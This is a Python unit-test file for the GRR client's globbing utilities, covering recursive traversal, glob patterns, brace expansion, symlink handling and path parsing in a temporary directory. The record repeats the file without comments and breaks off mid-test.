#!/usr/bin/env python import os import shutil import unittest from grr_response_client.client_actions.file_finder_utils import globbing from grr.lib import flags from grr.test_lib import test_lib # TODO(hanuszczak): Consider refactoring these tests with `pyfakefs`. class DirHierarchyTestMixin(object): def setUp(self): super(DirHierarchyTestMixin, self).setUp() self.tempdir = test_lib.TempDirPath() def tearDown(self): super(DirHierarchyTestMixin, self).tearDown() shutil.rmtree(self.tempdir) def Path(self, *components): return os.path.join(self.tempdir, *components) def Touch(self, *components): filepath = self.Path(*components) dirpath = os.path.dirname(filepath) if not os.path.exists(dirpath): os.makedirs(dirpath) with open(filepath, "a"): pass class RecursiveComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testSimple(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("baz", "0") self.Touch("baz", "1") component = globbing.RecursiveComponent() results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "bar", "0"), self.Path("baz"), self.Path("baz", "0"), self.Path("baz", "1"), ]) results = list(component.Generate(self.Path("foo"))) self.assertItemsEqual(results, [ self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "bar", "0"), ]) results = list(component.Generate(self.Path("baz"))) self.assertItemsEqual(results, [ self.Path("baz", "0"), self.Path("baz", "1"), ]) results = list(component.Generate(self.Path("foo", "bar"))) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), ]) def testMaxDepth(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "baz", "0") component = globbing.RecursiveComponent(max_depth=3) results = list(component.Generate(self.Path())) # Files at level lesser than 3 should be included. self.assertIn(self.Path("foo"), results) self.assertIn(self.Path("foo", "0"), results) self.assertIn(self.Path("foo", "1"), results) self.assertIn(self.Path("foo", "bar"), results) # Files at level equal to 3 should be included. self.assertIn(self.Path("foo", "bar", "0"), results) self.assertIn(self.Path("foo", "bar", "baz"), results) # Files at level bigger that 3 should not be included. self.assertNotIn(self.Path("foo", "bar", "baz", "0"), results) def testIgnore(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("bar", "0") self.Touch("bar", "quux", "0") self.Touch("bar", "quux", "1") self.Touch("baz", "0") self.Touch("baz", "1") self.Touch("baz", "quux", "0") opts = globbing.PathOpts(recursion_blacklist=[ self.Path("foo"), self.Path("bar", "quux"), ]) component = globbing.RecursiveComponent(opts=opts) results = list(component.Generate(self.Path())) # Recursion should not visit into the blacklisted folders. self.assertNotIn(self.Path("foo", "0"), results) self.assertNotIn(self.Path("foo", "1"), results) self.assertNotIn(self.Path("bar", "quux", "0"), results) self.assertNotIn(self.Path("bar", "quux", "1"), results) # Blacklisted folders themselves should appear in the results. self.assertIn(self.Path("foo"), results) self.assertIn(self.Path("bar", "quux"), results) # Recursion should visit not blacklisted folders. self.assertIn(self.Path("baz"), results) self.assertIn(self.Path("baz", "0"), results) self.assertIn(self.Path("baz", "1"), results) self.assertIn(self.Path("baz", "quux"), results) self.assertIn(self.Path("baz", "quux", "0"), results) def testFollowLinks(self): self.Touch("foo", "0") self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "0") self.Touch("foo", "baz", "1") self.Touch("quux", "0") self.Touch("norf", "0") os.symlink(self.Path("foo", "bar"), self.Path("quux", "bar")) os.symlink(self.Path("foo", "baz"), self.Path("quux", "baz")) os.symlink(self.Path("quux"), self.Path("norf", "quux")) opts = globbing.PathOpts(follow_links=True) component = globbing.RecursiveComponent(opts=opts) # It should resolve two links and recur to linked directories. results = list(component.Generate(self.Path("quux"))) self.assertItemsEqual(results, [ self.Path("quux", "0"), self.Path("quux", "bar"), self.Path("quux", "bar", "0"), self.Path("quux", "baz"), self.Path("quux", "baz", "0"), self.Path("quux", "baz", "1"), ]) # It should resolve symlinks recursively. results = list(component.Generate(self.Path("norf"))) self.assertItemsEqual(results, [ self.Path("norf", "0"), self.Path("norf", "quux"), self.Path("norf", "quux", "0"), self.Path("norf", "quux", "bar"), self.Path("norf", "quux", "bar", "0"), self.Path("norf", "quux", "baz"), self.Path("norf", "quux", "baz", "0"), self.Path("norf", "quux", "baz", "1"), ]) opts = globbing.PathOpts(follow_links=False) component = globbing.RecursiveComponent(opts=opts) # It should list symlinks but should not recur to linked directories. results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("foo", "0"), self.Path("foo", "bar"), self.Path("foo", "bar", "0"), self.Path("foo", "baz"), self.Path("foo", "baz", "0"), self.Path("foo", "baz", "1"), self.Path("quux"), self.Path("quux", "0"), self.Path("quux", "bar"), self.Path("quux", "baz"), self.Path("norf"), self.Path("norf", "0"), self.Path("norf", "quux"), ]) def testInvalidDirpath(self): component = globbing.RecursiveComponent() results = list(component.Generate("/foo/bar/baz")) self.assertItemsEqual(results, []) class GlobComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testLiterals(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") component = globbing.GlobComponent("foo") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), ]) component = globbing.GlobComponent("bar") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("bar"), ]) def testStar(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") self.Touch("quux") component = globbing.GlobComponent("*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), self.Path("baz"), self.Path("quux"), ]) component = globbing.GlobComponent("ba*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("bar"), self.Path("baz"), ]) def testQuestionmark(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") self.Touch("barg") component = globbing.GlobComponent("ba?") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("bar"), self.Path("baz"), ]) def testSimpleClass(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") self.Touch("baf") component = globbing.GlobComponent("ba[rz]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("baz"), self.Path("bar"), ]) def testRangeClass(self): self.Touch("foo") self.Touch("8AR") self.Touch("bar") self.Touch("4815162342") self.Touch("quux42") component = globbing.GlobComponent("[a-z]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), self.Path("quux42"), ]) component = globbing.GlobComponent("[0-9]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("8AR"), self.Path("4815162342"), ]) component = globbing.GlobComponent("*[0-9]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("4815162342"), self.Path("quux42"), ]) def testMultiRangeClass(self): self.Touch("f00") self.Touch("b4R") self.Touch("8az") self.Touch("quux") component = globbing.GlobComponent("[a-z][a-z0-9]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("f00"), self.Path("b4R"), self.Path("quux"), ]) def testComplementationClass(self): self.Touch("foo") self.Touch("bar") self.Touch("123") component = globbing.GlobComponent("*[!0-9]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), ]) def testCornerCases(self): self.Touch("[") self.Touch("-") self.Touch("]") self.Touch("!") self.Touch("*") self.Touch("?") self.Touch("foo") component = globbing.GlobComponent("[][-]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("["), self.Path("-"), self.Path("]"), ]) component = globbing.GlobComponent("[!]f-]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("["), self.Path("*"), self.Path("!"), self.Path("?"), ]) component = globbing.GlobComponent("[*?]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("*"), self.Path("?"), ]) def testWhitespace(self): self.Touch("foo bar") self.Touch(" ") self.Touch("quux") component = globbing.GlobComponent("* *") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo bar"), self.Path(" "), ]) def testCaseInsensivity(self): self.Touch("foo") self.Touch("BAR") self.Touch("BaZ") self.Touch("qUuX") component = globbing.GlobComponent("b*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("BAR"), self.Path("BaZ"), ]) component = globbing.GlobComponent("quux") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("qUuX"), ]) component = globbing.GlobComponent("FoO") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), ]) class CurrentComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testSimple(self): self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "0") component = globbing.CurrentComponent() results = list(component.Generate(self.Path("foo"))) self.assertItemsEqual(results, [self.Path("foo")]) results = list(component.Generate(self.Path("foo", "bar"))) self.assertItemsEqual(results, [self.Path("foo", "bar")]) results = list(component.Generate(self.Path("foo", "baz"))) self.assertItemsEqual(results, [self.Path("foo", "baz")]) class ParentComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testSimple(self): self.Touch("foo", "0") self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "baz", "0") component = globbing.ParentComponent() results = list(component.Generate(self.Path("foo"))) self.assertItemsEqual(results, [self.Path()]) results = list(component.Generate(self.Path("foo", "bar"))) self.assertItemsEqual(results, [self.Path("foo")]) results = list(component.Generate(self.Path("foo", "bar", "baz"))) self.assertItemsEqual(results, [self.Path("foo", "bar")]) class ParsePathItemTest(unittest.TestCase): def testRecursive(self): component = globbing.ParsePathItem("**") self.assertIsInstance(component, globbing.RecursiveComponent) self.assertEqual(component.max_depth, 3) def testRecursiveWithDepth(self): component = globbing.ParsePathItem("**42") self.assertIsInstance(component, globbing.RecursiveComponent) self.assertEqual(component.max_depth, 42) def testGlob(self): component = globbing.ParsePathItem("foo*") self.assertIsInstance(component, globbing.GlobComponent) component = globbing.ParsePathItem("*") self.assertIsInstance(component, globbing.GlobComponent) component = globbing.ParsePathItem("foo ba?") self.assertIsInstance(component, globbing.GlobComponent) def testCurrent(self): component = globbing.ParsePathItem(os.path.curdir) self.assertIsInstance(component, globbing.CurrentComponent) def testParent(self): component = globbing.ParsePathItem(os.path.pardir) self.assertIsInstance(component, globbing.ParentComponent) def testMalformed(self): with self.assertRaises(ValueError): globbing.ParsePathItem("foo**") with self.assertRaises(ValueError): globbing.ParsePathItem("**10bar") class ParsePathTest(unittest.TestCase): def assertAreInstances(self, instances, classes): for instance, clazz in zip(instances, classes): self.assertIsInstance(instance, clazz) self.assertEqual(len(instances), len(classes)) def testSimple(self): path = os.path.join("foo", "**", "ba*") components = list(globbing.ParsePath(path)) self.assertAreInstances(components, [ globbing.GlobComponent, globbing.RecursiveComponent, globbing.GlobComponent, ]) path = os.path.join("foo", os.path.curdir, "bar", "baz", os.path.pardir) components = list(globbing.ParsePath(path)) self.assertAreInstances(components, [ globbing.GlobComponent, globbing.CurrentComponent, globbing.GlobComponent, globbing.GlobComponent, globbing.ParentComponent, ]) def testMultiRecursive(self): path = os.path.join("foo", "**", "bar", "**", "baz") with self.assertRaises(ValueError): list(globbing.ParsePath(path)) class ExpandGroupsTest(unittest.TestCase): def testSimple(self): path = "fooba{r,z}" results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, [ "foobar", "foobaz", ]) def testMultiple(self): path = os.path.join("f{o,0}o{bar,baz}", "{quux,norf}") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, [ os.path.join("foobar", "quux"), os.path.join("foobar", "norf"), os.path.join("foobaz", "quux"), os.path.join("foobaz", "norf"), os.path.join("f0obar", "quux"), os.path.join("f0obar", "norf"), os.path.join("f0obaz", "quux"), os.path.join("f0obaz", "norf"), ]) def testMany(self): path = os.path.join("foo{bar,baz,quux,norf}thud") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, [ os.path.join("foobarthud"), os.path.join("foobazthud"), os.path.join("fooquuxthud"), os.path.join("foonorfthud"), ]) def testEmpty(self): path = os.path.join("foo{}bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo{}bar"]) def testSingleton(self): path = os.path.join("foo{bar}baz") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo{bar}baz"]) def testUnclosed(self): path = os.path.join("foo{bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo{bar"]) path = os.path.join("foo}bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo}bar"]) def testEscaped(self): path = os.path.join("foo\\{baz}bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo\\{baz}bar"]) def testNoGroup(self): path = os.path.join("foobarbaz") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foobarbaz"]) class ExpandGlobsTest(DirHierarchyTestMixin, unittest.TestCase): def testWildcards(self): self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "1") self.Touch("foo", "norf", "0") self.Touch("quux", "bar", "0") self.Touch("quux", "baz", "0") self.Touch("quux", "norf", "0") path = self.Path("*", "ba?", "0") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("quux", "bar", "0"), self.Path("quux", "baz", "0"), ]) def testRecursion(self): self.Touch("foo", "bar", "baz", "0") self.Touch("foo", "bar", "0") self.Touch("foo", "quux", "0") self.Touch("foo", "quux", "1") path = self.Path("foo", "**", "0") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "baz", "0"), self.Path("foo", "bar", "0"), self.Path("foo", "quux", "0"), ]) def testMixed(self): self.Touch("foo", "bar", "0") self.Touch("norf", "bar", "0") self.Touch("norf", "baz", "0") self.Touch("norf", "baz", "1") self.Touch("norf", "baz", "7") self.Touch("quux", "bar", "0") self.Touch("quux", "baz", "1") self.Touch("quux", "baz", "2") path = self.Path("**", "ba?", "[0-2]") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("norf", "bar", "0"), self.Path("norf", "baz", "0"), self.Path("norf", "baz", "1"), self.Path("quux", "bar", "0"), self.Path("quux", "baz", "1"), self.Path("quux", "baz", "2"), ]) def testEmpty(self): with self.assertRaises(ValueError): list(globbing.ExpandGlobs("")) def testRelative(self): with self.assertRaises(ValueError): list(globbing.ExpandGlobs(os.path.join("foo", "bar"))) def testCurrent(self): self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "1") self.Touch("quux", "bar", "0") path = self.Path("foo", os.path.curdir, "bar", "*") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("foo", "bar", "1"), ]) path = self.Path(os.path.curdir, "*", "bar", "0") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("quux", "bar", "0"), ]) def testParent(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("bar", "0") path = self.Path("foo", "*") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), ]) path = self.Path("foo", os.path.pardir, "*") results = list(globbing.ExpandGlobs(path)) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), ]) class ExpandPathTest(DirHierarchyTestMixin, unittest.TestCase): def testGlobAndGroup(self): self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "1") self.Touch("foo", "baz", "0") self.Touch("foo", "baz", "1") self.Touch("foo", "quux", "0") self.Touch("foo", "quux", "1") path = self.Path("foo/ba{r,z}/*") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("foo", "bar", "1"), self.Path("foo", "baz", "0"), self.Path("foo", "baz", "1"), ]) path = self.Path("foo/ba*/{0,1}") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), self.Path("foo", "bar", "1"), self.Path("foo", "baz", "0"), self.Path("foo", "baz", "1"), ]) def testRecursiveAndGroup(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "quux", "0") path = self.Path("foo/**") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "baz"), self.Path("foo", "bar", "0"), self.Path("foo", "baz", "quux"), self.Path("foo", "baz", "quux", "0"), ]) path = self.Path("foo/{.,**}") results = list(globbing.ExpandPath(path)) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "baz"), self.Path("foo", "bar", "0"), self.Path("foo", "baz", "quux"), self.Path("foo", "baz", "quux", "0"), ]) def main(argv): test_lib.main(argv) if __name__ == "__main__": flags.StartMain(main)
28.206494
76
0.597864
import os import shutil import unittest from grr_response_client.client_actions.file_finder_utils import globbing from grr.lib import flags from grr.test_lib import test_lib class DirHierarchyTestMixin(object): def setUp(self): super(DirHierarchyTestMixin, self).setUp() self.tempdir = test_lib.TempDirPath() def tearDown(self): super(DirHierarchyTestMixin, self).tearDown() shutil.rmtree(self.tempdir) def Path(self, *components): return os.path.join(self.tempdir, *components) def Touch(self, *components): filepath = self.Path(*components) dirpath = os.path.dirname(filepath) if not os.path.exists(dirpath): os.makedirs(dirpath) with open(filepath, "a"): pass class RecursiveComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testSimple(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("baz", "0") self.Touch("baz", "1") component = globbing.RecursiveComponent() results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "bar", "0"), self.Path("baz"), self.Path("baz", "0"), self.Path("baz", "1"), ]) results = list(component.Generate(self.Path("foo"))) self.assertItemsEqual(results, [ self.Path("foo", "0"), self.Path("foo", "1"), self.Path("foo", "bar"), self.Path("foo", "bar", "0"), ]) results = list(component.Generate(self.Path("baz"))) self.assertItemsEqual(results, [ self.Path("baz", "0"), self.Path("baz", "1"), ]) results = list(component.Generate(self.Path("foo", "bar"))) self.assertItemsEqual(results, [ self.Path("foo", "bar", "0"), ]) def testMaxDepth(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "baz", "0") component = globbing.RecursiveComponent(max_depth=3) results = list(component.Generate(self.Path())) self.assertIn(self.Path("foo"), results) self.assertIn(self.Path("foo", "0"), results) self.assertIn(self.Path("foo", "1"), results) self.assertIn(self.Path("foo", "bar"), results) self.assertIn(self.Path("foo", "bar", "0"), results) self.assertIn(self.Path("foo", "bar", "baz"), results) self.assertNotIn(self.Path("foo", "bar", "baz", "0"), results) def testIgnore(self): self.Touch("foo", "0") self.Touch("foo", "1") self.Touch("foo", "bar", "0") self.Touch("bar", "0") self.Touch("bar", "quux", "0") self.Touch("bar", "quux", "1") self.Touch("baz", "0") self.Touch("baz", "1") self.Touch("baz", "quux", "0") opts = globbing.PathOpts(recursion_blacklist=[ self.Path("foo"), self.Path("bar", "quux"), ]) component = globbing.RecursiveComponent(opts=opts) results = list(component.Generate(self.Path())) self.assertNotIn(self.Path("foo", "0"), results) self.assertNotIn(self.Path("foo", "1"), results) self.assertNotIn(self.Path("bar", "quux", "0"), results) self.assertNotIn(self.Path("bar", "quux", "1"), results) self.assertIn(self.Path("foo"), results) self.assertIn(self.Path("bar", "quux"), results) self.assertIn(self.Path("baz"), results) self.assertIn(self.Path("baz", "0"), results) self.assertIn(self.Path("baz", "1"), results) self.assertIn(self.Path("baz", "quux"), results) self.assertIn(self.Path("baz", "quux", "0"), results) def testFollowLinks(self): self.Touch("foo", "0") self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "0") self.Touch("foo", "baz", "1") self.Touch("quux", "0") self.Touch("norf", "0") os.symlink(self.Path("foo", "bar"), self.Path("quux", "bar")) os.symlink(self.Path("foo", "baz"), self.Path("quux", "baz")) os.symlink(self.Path("quux"), self.Path("norf", "quux")) opts = globbing.PathOpts(follow_links=True) component = globbing.RecursiveComponent(opts=opts) results = list(component.Generate(self.Path("quux"))) self.assertItemsEqual(results, [ self.Path("quux", "0"), self.Path("quux", "bar"), self.Path("quux", "bar", "0"), self.Path("quux", "baz"), self.Path("quux", "baz", "0"), self.Path("quux", "baz", "1"), ]) results = list(component.Generate(self.Path("norf"))) self.assertItemsEqual(results, [ self.Path("norf", "0"), self.Path("norf", "quux"), self.Path("norf", "quux", "0"), self.Path("norf", "quux", "bar"), self.Path("norf", "quux", "bar", "0"), self.Path("norf", "quux", "baz"), self.Path("norf", "quux", "baz", "0"), self.Path("norf", "quux", "baz", "1"), ]) opts = globbing.PathOpts(follow_links=False) component = globbing.RecursiveComponent(opts=opts) results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("foo", "0"), self.Path("foo", "bar"), self.Path("foo", "bar", "0"), self.Path("foo", "baz"), self.Path("foo", "baz", "0"), self.Path("foo", "baz", "1"), self.Path("quux"), self.Path("quux", "0"), self.Path("quux", "bar"), self.Path("quux", "baz"), self.Path("norf"), self.Path("norf", "0"), self.Path("norf", "quux"), ]) def testInvalidDirpath(self): component = globbing.RecursiveComponent() results = list(component.Generate("/foo/bar/baz")) self.assertItemsEqual(results, []) class GlobComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testLiterals(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") component = globbing.GlobComponent("foo") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), ]) component = globbing.GlobComponent("bar") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("bar"), ]) def testStar(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") self.Touch("quux") component = globbing.GlobComponent("*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), self.Path("baz"), self.Path("quux"), ]) component = globbing.GlobComponent("ba*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("bar"), self.Path("baz"), ]) def testQuestionmark(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") self.Touch("barg") component = globbing.GlobComponent("ba?") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("bar"), self.Path("baz"), ]) def testSimpleClass(self): self.Touch("foo") self.Touch("bar") self.Touch("baz") self.Touch("baf") component = globbing.GlobComponent("ba[rz]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("baz"), self.Path("bar"), ]) def testRangeClass(self): self.Touch("foo") self.Touch("8AR") self.Touch("bar") self.Touch("4815162342") self.Touch("quux42") component = globbing.GlobComponent("[a-z]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), self.Path("quux42"), ]) component = globbing.GlobComponent("[0-9]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("8AR"), self.Path("4815162342"), ]) component = globbing.GlobComponent("*[0-9]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("4815162342"), self.Path("quux42"), ]) def testMultiRangeClass(self): self.Touch("f00") self.Touch("b4R") self.Touch("8az") self.Touch("quux") component = globbing.GlobComponent("[a-z][a-z0-9]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("f00"), self.Path("b4R"), self.Path("quux"), ]) def testComplementationClass(self): self.Touch("foo") self.Touch("bar") self.Touch("123") component = globbing.GlobComponent("*[!0-9]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), self.Path("bar"), ]) def testCornerCases(self): self.Touch("[") self.Touch("-") self.Touch("]") self.Touch("!") self.Touch("*") self.Touch("?") self.Touch("foo") component = globbing.GlobComponent("[][-]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("["), self.Path("-"), self.Path("]"), ]) component = globbing.GlobComponent("[!]f-]*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("["), self.Path("*"), self.Path("!"), self.Path("?"), ]) component = globbing.GlobComponent("[*?]") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("*"), self.Path("?"), ]) def testWhitespace(self): self.Touch("foo bar") self.Touch(" ") self.Touch("quux") component = globbing.GlobComponent("* *") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo bar"), self.Path(" "), ]) def testCaseInsensivity(self): self.Touch("foo") self.Touch("BAR") self.Touch("BaZ") self.Touch("qUuX") component = globbing.GlobComponent("b*") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("BAR"), self.Path("BaZ"), ]) component = globbing.GlobComponent("quux") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("qUuX"), ]) component = globbing.GlobComponent("FoO") results = list(component.Generate(self.Path())) self.assertItemsEqual(results, [ self.Path("foo"), ]) class CurrentComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testSimple(self): self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "0") component = globbing.CurrentComponent() results = list(component.Generate(self.Path("foo"))) self.assertItemsEqual(results, [self.Path("foo")]) results = list(component.Generate(self.Path("foo", "bar"))) self.assertItemsEqual(results, [self.Path("foo", "bar")]) results = list(component.Generate(self.Path("foo", "baz"))) self.assertItemsEqual(results, [self.Path("foo", "baz")]) class ParentComponentTest(DirHierarchyTestMixin, unittest.TestCase): def testSimple(self): self.Touch("foo", "0") self.Touch("foo", "bar", "0") self.Touch("foo", "bar", "baz", "0") component = globbing.ParentComponent() results = list(component.Generate(self.Path("foo"))) self.assertItemsEqual(results, [self.Path()]) results = list(component.Generate(self.Path("foo", "bar"))) self.assertItemsEqual(results, [self.Path("foo")]) results = list(component.Generate(self.Path("foo", "bar", "baz"))) self.assertItemsEqual(results, [self.Path("foo", "bar")]) class ParsePathItemTest(unittest.TestCase): def testRecursive(self): component = globbing.ParsePathItem("**") self.assertIsInstance(component, globbing.RecursiveComponent) self.assertEqual(component.max_depth, 3) def testRecursiveWithDepth(self): component = globbing.ParsePathItem("**42") self.assertIsInstance(component, globbing.RecursiveComponent) self.assertEqual(component.max_depth, 42) def testGlob(self): component = globbing.ParsePathItem("foo*") self.assertIsInstance(component, globbing.GlobComponent) component = globbing.ParsePathItem("*") self.assertIsInstance(component, globbing.GlobComponent) component = globbing.ParsePathItem("foo ba?") self.assertIsInstance(component, globbing.GlobComponent) def testCurrent(self): component = globbing.ParsePathItem(os.path.curdir) self.assertIsInstance(component, globbing.CurrentComponent) def testParent(self): component = globbing.ParsePathItem(os.path.pardir) self.assertIsInstance(component, globbing.ParentComponent) def testMalformed(self): with self.assertRaises(ValueError): globbing.ParsePathItem("foo**") with self.assertRaises(ValueError): globbing.ParsePathItem("**10bar") class ParsePathTest(unittest.TestCase): def assertAreInstances(self, instances, classes): for instance, clazz in zip(instances, classes): self.assertIsInstance(instance, clazz) self.assertEqual(len(instances), len(classes)) def testSimple(self): path = os.path.join("foo", "**", "ba*") components = list(globbing.ParsePath(path)) self.assertAreInstances(components, [ globbing.GlobComponent, globbing.RecursiveComponent, globbing.GlobComponent, ]) path = os.path.join("foo", os.path.curdir, "bar", "baz", os.path.pardir) components = list(globbing.ParsePath(path)) self.assertAreInstances(components, [ globbing.GlobComponent, globbing.CurrentComponent, globbing.GlobComponent, globbing.GlobComponent, globbing.ParentComponent, ]) def testMultiRecursive(self): path = os.path.join("foo", "**", "bar", "**", "baz") with self.assertRaises(ValueError): list(globbing.ParsePath(path)) class ExpandGroupsTest(unittest.TestCase): def testSimple(self): path = "fooba{r,z}" results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, [ "foobar", "foobaz", ]) def testMultiple(self): path = os.path.join("f{o,0}o{bar,baz}", "{quux,norf}") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, [ os.path.join("foobar", "quux"), os.path.join("foobar", "norf"), os.path.join("foobaz", "quux"), os.path.join("foobaz", "norf"), os.path.join("f0obar", "quux"), os.path.join("f0obar", "norf"), os.path.join("f0obaz", "quux"), os.path.join("f0obaz", "norf"), ]) def testMany(self): path = os.path.join("foo{bar,baz,quux,norf}thud") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, [ os.path.join("foobarthud"), os.path.join("foobazthud"), os.path.join("fooquuxthud"), os.path.join("foonorfthud"), ]) def testEmpty(self): path = os.path.join("foo{}bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo{}bar"]) def testSingleton(self): path = os.path.join("foo{bar}baz") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo{bar}baz"]) def testUnclosed(self): path = os.path.join("foo{bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo{bar"]) path = os.path.join("foo}bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo}bar"]) def testEscaped(self): path = os.path.join("foo\\{baz}bar") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foo\\{baz}bar"]) def testNoGroup(self): path = os.path.join("foobarbaz") results = list(globbing.ExpandGroups(path)) self.assertItemsEqual(results, ["foobarbaz"]) class ExpandGlobsTest(DirHierarchyTestMixin, unittest.TestCase): def testWildcards(self): self.Touch("foo", "bar", "0") self.Touch("foo", "baz", "1") self.Touch("foo", "norf", "0") self.Touch("quux", "bar", "0") self.Touch("quux", "baz", "0") self.Touch("quux", "norf", "0") path = self.Path("*", 